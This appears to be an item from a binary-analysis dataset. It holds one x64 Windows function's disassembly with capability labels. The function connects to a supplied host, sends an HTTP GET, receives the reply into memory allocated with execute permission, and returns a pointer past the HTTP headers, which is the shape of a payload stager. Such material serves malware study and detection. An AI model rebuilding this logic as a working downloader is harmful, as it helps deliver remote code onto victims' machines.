Function at 0x140004200
Capabilities:
Allocate or change rwx memory
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Send http request

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov word [rsp + 0x10], dx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x2f0
lea rdi, [rsp + 0x20]
mov ecx, 0xb4
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x300]
mov rax, qword [0x1400b80e0]
xor rax, rsp
mov qword [rsp + 0x2e8], rax
mov rax, qword [rsp + 0x300]
mov eax, dword [rax]
mov dword [rsp + 0x28c], eax
mov eax, 2
mov word [rsp + 0x288], ax
movzx ecx, word [rsp + 0x308]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x28a], ax
lea rdx, [rsp + 0x30]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov r8, qword [rsp + 0x310]
lea rdx, str.GET__s_HTTP_1.1_r_nAccept:_text_html_application_xhtmlxml_application_xml_q0.9___q0.8_r_n_r_n
lea rcx, [rsp + 0x1f0]
call fcn.140001370
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rsp + 0x2a8], rax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x288]
mov rcx, qword [rsp + 0x2a8]
call qword [sym.imp.WS2_32.dll_connect]
mov dword [rsp + 0x2b0], eax
cmp dword [rsp + 0x2b0], 0xffffffff
jne 0x140004303
mov rcx, qword [rsp + 0x2a8]
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x14000459c
lea rax, [rsp + 0x1f0]
mov qword [rsp + 0x2d8], rax
mov qword [rsp + 0x2e0], 0xffffffffffffffff
inc qword [rsp + 0x2e0]
mov rax, qword [rsp + 0x2d8]
mov rcx, qword [rsp + 0x2e0]
cmp byte [rax + rcx], 0
jne 0x14000431f
mov rax, qword [rsp + 0x2e0]
mov rcx, rax
call fcn.140098164
xor r9d, r9d
mov r8d, eax
lea rdx, [rsp + 0x1f0]
mov rcx, qword [rsp + 0x2a8]
call qword [sym.imp.WS2_32.dll_send]
mov dword [rsp + 0x2b0], eax
cmp dword [rsp + 0x2b0], 0
jg 0x14000438f
mov rcx, qword [rsp + 0x2a8]
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x14000459c
mov eax, dword [rsp + 0x318]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x2b8], rax
cmp qword [rsp + 0x2b8], 0
jne 0x1400043d4
mov rcx, qword [rsp + 0x2a8]
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x14000459c
mov dword [rsp + 0x2c0], 0
xor eax, eax
cmp eax, 1
je 0x14000446c
mov eax, dword [rsp + 0x2c0]
mov ecx, dword [rsp + 0x318]
sub ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x2c0]
mov rdx, qword [rsp + 0x2b8]
add rdx, rcx
mov rcx, rdx
xor r9d, r9d
mov r8d, eax
mov rdx, rcx
mov rcx, qword [rsp + 0x2a8]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rsp + 0x2b0], eax
cmp dword [rsp + 0x2b0], 0
jg 0x14000443c
jmp 0x14000446c
mov eax, dword [rsp + 0x2b0]
mov ecx, dword [rsp + 0x2c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c0], eax
mov eax, dword [rsp + 0x318]
cmp dword [rsp + 0x2c0], eax
jb 0x140004467
jmp 0x14000446c
jmp 0x1400043df
mov dword [rsp + 0x2c4], 0
mov dword [rsp + 0x2c8], 0
jmp 0x140004494
mov eax, dword [rsp + 0x2c8]
inc eax
mov dword [rsp + 0x2c8], eax
mov eax, dword [rsp + 0x2c0]
dec eax
cmp dword [rsp + 0x2c8], eax
jge 0x14000458d
cmp dword [rsp + 0x2c4], 0
jne 0x1400044dd
movsxd rax, dword [rsp + 0x2c8]
mov rcx, qword [rsp + 0x2b8]
movzx eax, byte [rcx + rax]
cmp eax, 0xd
jne 0x1400044dd
mov dword [rsp + 0x2c4], 1
jmp 0x140004588
cmp dword [rsp + 0x2c4], 1
jne 0x14000450d
movsxd rax, dword [rsp + 0x2c8]
mov rcx, qword [rsp + 0x2b8]
movzx eax, byte [rcx + rax]
cmp eax, 0xa
jne 0x14000450d
mov dword [rsp + 0x2c4], 2
jmp 0x140004588
cmp dword [rsp + 0x2c4], 2
jne 0x14000453d
movsxd rax, dword [rsp + 0x2c8]
mov rcx, qword [rsp + 0x2b8]
movzx eax, byte [rcx + rax]
cmp eax, 0xd
jne 0x14000453d
mov dword [rsp + 0x2c4], 3
jmp 0x140004588
cmp dword [rsp + 0x2c4], 3
jne 0x14000457d
movsxd rax, dword [rsp + 0x2c8]
mov rcx, qword [rsp + 0x2b8]
movzx eax, byte [rcx + rax]
cmp eax, 0xa
jne 0x14000457d
mov eax, dword [rsp + 0x2c8]
inc eax
cdqe
mov rcx, qword [rsp + 0x2b8]
add rcx, rax
mov rax, rcx
jmp 0x14000459c
mov dword [rsp + 0x2c4], 0
jmp 0x140004484
mov rcx, qword [rsp + 0x2b8]
call fcn.140062f60
xor eax, eax
mov rdi, rax
mov rcx, rsp
lea rdx, reloc.WS2_32.dll_closesocket
call fcn.140097f00
mov rax, rdi
mov rcx, qword [rsp + 0x2e8]
xor rcx, rsp
call fcn.14003ee70
add rsp, 0x2f0
pop rdi
ret